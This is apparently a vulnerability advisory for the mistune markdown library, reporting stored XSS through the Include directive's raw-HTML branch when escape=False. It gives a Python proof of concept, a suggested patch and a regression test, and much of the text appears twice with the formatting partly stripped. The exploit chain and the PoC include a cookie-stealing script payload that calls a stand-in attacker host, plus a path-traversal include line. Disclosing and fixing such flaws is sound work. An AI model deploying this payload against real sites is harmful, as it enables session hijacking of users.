Summary
Type: XSS via include-by-extension dispatch. The Include directive treats .html/.xhtml/.htm files specially, returning their content as {"type": "block_html", "raw": content}. The HTML renderer then emits this token as RAW HTML when escape=False is set on the renderer, and as escape_text(html) when escape=True. With the documented and recommended escape=False for sites that "trust their markdown corpus", the entire content of the included .html file lands unescaped in the page. Combined with the path-traversal advisory I just filed (Include accepts ../-paths and absolute paths), an attacker who can place a single .html file anywhere readable by the rendering process gets stored XSS.
File: src/mistune/directives/include.py, lines 56-57.
Root cause: the directive treats file extension as a security-relevant signal even though the markdown source is attacker-controlled. The attacker chooses both the file extension (via the :: path argument) and, given the existing path-traversal flaw, the file path itself. There is no per-file content allowlist or sanitisation; the block_html token says "this is trusted HTML", and the renderer obliges with escape=False.
Affected Code
File: src/mistune/directives/include.py, lines 48-64.
ext = os.path.splitext(relpath)[1]
if ext in {".md", ".markdown", ".mkd"}:
new_state = block.state_cls()
new_state.env["__file__"] = dest
new_state.process(content)
block.parse(new_state)
return new_state.tokens
elif ext in {".html", ".xhtml", ".htm"}:
return {"type": "block_html", "raw": content} # <-- BUG: raw HTML token, escape=False renders unescaped
attrs["filepath"] = dest
return {
"type": "include",
"raw": content,
"attrs": attrs,
}
renderers/html.py:135-138 handles the block_html token:
def block_html(self, html: str) -> str:
if self._escape:
return "<p>" + escape_text(html.strip()) + "</p>\n"
return html + "\n" # <-- BUG: unescaped passthrough when escape=False
Why it's wrong: the file-extension heuristic conflates "the content has HTML semantics" with "the content is trusted to be embedded raw". With escape=False (a documented and common config for any site that wants to preserve inline-HTML in user markdown), the entire included file is dumped into the output without sanitisation. Combined with the path-traversal flaw, an attacker can plant a .html payload via any uploadable channel (avatar uploads, attachments, log files, form submissions that get written to disk) and then include it from their markdown.
Exploit Chain
- Application uses mistune with
escape=False and the Include directive (RSTDirective([Include()])). escape=False is commonly set on knowledge-base, wiki, and documentation platforms that allow inline HTML by design.
- Attacker plants a
.html file somewhere readable by the rendering process. Realistic vehicles:
- Upload an "image" with a
.html extension via any form that stores files server-side without verifying content type.
- Write to the application's log directory via crafted log lines.
- Use a separate vulnerability that lets them write a file (existing CVEs in Python web frameworks, supply-chain dependency confusion that drops
.html files).
- Attacker submits markdown containing
.. include:: ../../tmp/uploads/payload.html.
- mistune resolves the path (no traversal containment, per the related advisory), reads the file, returns a
block_html token.
- Renderer with
escape=False emits the file content unchanged. If the file is <script>fetch('//attacker.example/?c='+document.cookie)</script>, the script runs in the application's origin.
- Final state: stored XSS that persists for as long as the malicious file exists on disk.
Security Impact
Severity: sec-medium. Conditional XSS that requires both escape=False (configuration choice) and a writable disk path the attacker can land a .html file at (separate primitive). Combined with the Include LFI advisory I have already filed, the attacker can also leverage the same attack surface to read sensitive files; this advisory is the write-side payload-delivery part of the same Include-directive class.
Attacker capability: plant a file with .html extension somewhere readable by the rendering process, then include it from attacker-controlled markdown. Resulting HTML lands unescaped in the rendered page.
Preconditions: mistune renderer constructed with escape=False, Include directive enabled. State env __file__ set (documented for filesystem-based markdown rendering).
Differential: PoC-verified against mistune@3.2.1:
import os, mistune
from mistune.directives import RSTDirective, Include
os.makedirs('/tmp/mistune-include-test/sub', exist_ok=True)
with open('/tmp/mistune-include-test/sub/payload.html', 'w') as f:
f.write('<script>fetch("//attacker.example/?c=" + document.cookie)</script>')
md = mistune.create_markdown(escape=False, plugins=[RSTDirective([Include()])])
state = md.block.state_cls()
state.env['__file__'] = '/tmp/mistune-include-test/index.md'
print(md.parse('.. include:: sub/payload.html', state=state)[0])
# Output:
# <script>fetch("//attacker.example/?c=" + document.cookie)</script>
The patched build (with the suggested fix below — either always escape included HTML or remove the .html extension branch entirely) does not emit raw script content.
Suggested Fix
The .html-extension branch is unsafe by construction when paired with escape=False. Two options:
--- a/src/mistune/directives/include.py
+++ b/src/mistune/directives/include.py
@@ -56,8 +56,11 @@ class Include(DirectivePlugin):
- elif ext in {".html", ".xhtml", ".htm"}:
- return {"type": "block_html", "raw": content}
+ elif ext in {".html", ".xhtml", ".htm"}:
+ # Embed as text inside <pre>, never as raw HTML. Callers who
+ # genuinely want raw HTML must opt in with a separate flag.
+ return {"type": "block_code", "raw": content, "attrs": {"info": "html"}}
+
+ # Optionally: an explicit Include(allow_html=True) constructor flag
+ # could restore the old raw-html behaviour for callers that need it.
The combined fix for this advisory and the LFI advisory should also pair the path containment check so that an attacker cannot reach a .html file outside the source directory. Either fix on its own narrows the attack surface; both together close it for any practical configuration.
Add a regression test asserting that .. include:: payload.html (with a <script> body) produces output that does NOT contain <script> literally — only entity-escaped text.
Summary
Type: XSS via include-by-extension dispatch. The
Includedirective treats.html/.xhtml/.htmfiles specially, returning their content as{"type": "block_html", "raw": content}. The HTML renderer then emits this token as RAW HTML whenescape=Falseis set on the renderer, and asescape_text(html)whenescape=True. With the documented and recommendedescape=Falsefor sites that "trust their markdown corpus", the entire content of the included.htmlfile lands unescaped in the page. Combined with the path-traversal advisory I just filed (Includeaccepts../-paths and absolute paths), an attacker who can place a single.htmlfile anywhere readable by the rendering process gets stored XSS.File:
src/mistune/directives/include.py, lines 56-57.Root cause: the directive treats file extension as a security-relevant signal even though the markdown source is attacker-controlled. The attacker chooses both the file extension (via the
:: pathargument) and, given the existing path-traversal flaw, the file path itself. There is no per-file content allowlist or sanitisation; theblock_htmltoken says "this is trusted HTML", and the renderer obliges withescape=False.Affected Code
File:
src/mistune/directives/include.py, lines 48-64.renderers/html.py:135-138handles theblock_htmltoken:Why it's wrong: the file-extension heuristic conflates "the content has HTML semantics" with "the content is trusted to be embedded raw". With
escape=False(a documented and common config for any site that wants to preserve inline-HTML in user markdown), the entire included file is dumped into the output without sanitisation. Combined with the path-traversal flaw, an attacker can plant a.htmlpayload via any uploadable channel (avatar uploads, attachments, log files, form submissions that get written to disk) and then include it from their markdown.Exploit Chain
escape=Falseand theIncludedirective (RSTDirective([Include()])).escape=Falseis commonly set on knowledge-base, wiki, and documentation platforms that allow inline HTML by design..htmlfile somewhere readable by the rendering process. Realistic vehicles:.htmlextension via any form that stores files server-side without verifying content type..htmlfiles)... include:: ../../tmp/uploads/payload.html.block_htmltoken.escape=Falseemits the file content unchanged. If the file is<script>fetch('//attacker.example/?c='+document.cookie)</script>, the script runs in the application's origin.Security Impact
Severity: sec-medium. Conditional XSS that requires both
escape=False(configuration choice) and a writable disk path the attacker can land a.htmlfile at (separate primitive). Combined with theIncludeLFI advisory I have already filed, the attacker can also leverage the same attack surface to read sensitive files; this advisory is the write-side payload-delivery part of the same Include-directive class.Attacker capability: plant a file with
.htmlextension somewhere readable by the rendering process, then include it from attacker-controlled markdown. Resulting HTML lands unescaped in the rendered page.Preconditions: mistune renderer constructed with
escape=False,Includedirective enabled. State env__file__set (documented for filesystem-based markdown rendering).Differential: PoC-verified against mistune@3.2.1:
The patched build (with the suggested fix below — either always escape included HTML or remove the
.htmlextension branch entirely) does not emit raw script content.Suggested Fix
The
.html-extension branch is unsafe by construction when paired withescape=False. Two options:The combined fix for this advisory and the LFI advisory should also pair the path containment check so that an attacker cannot reach a
.htmlfile outside the source directory. Either fix on its own narrows the attack surface; both together close it for any practical configuration.Add a regression test asserting that
.. include:: payload.html(with a<script>body) produces output that does NOT contain<script>literally — only entity-escaped text.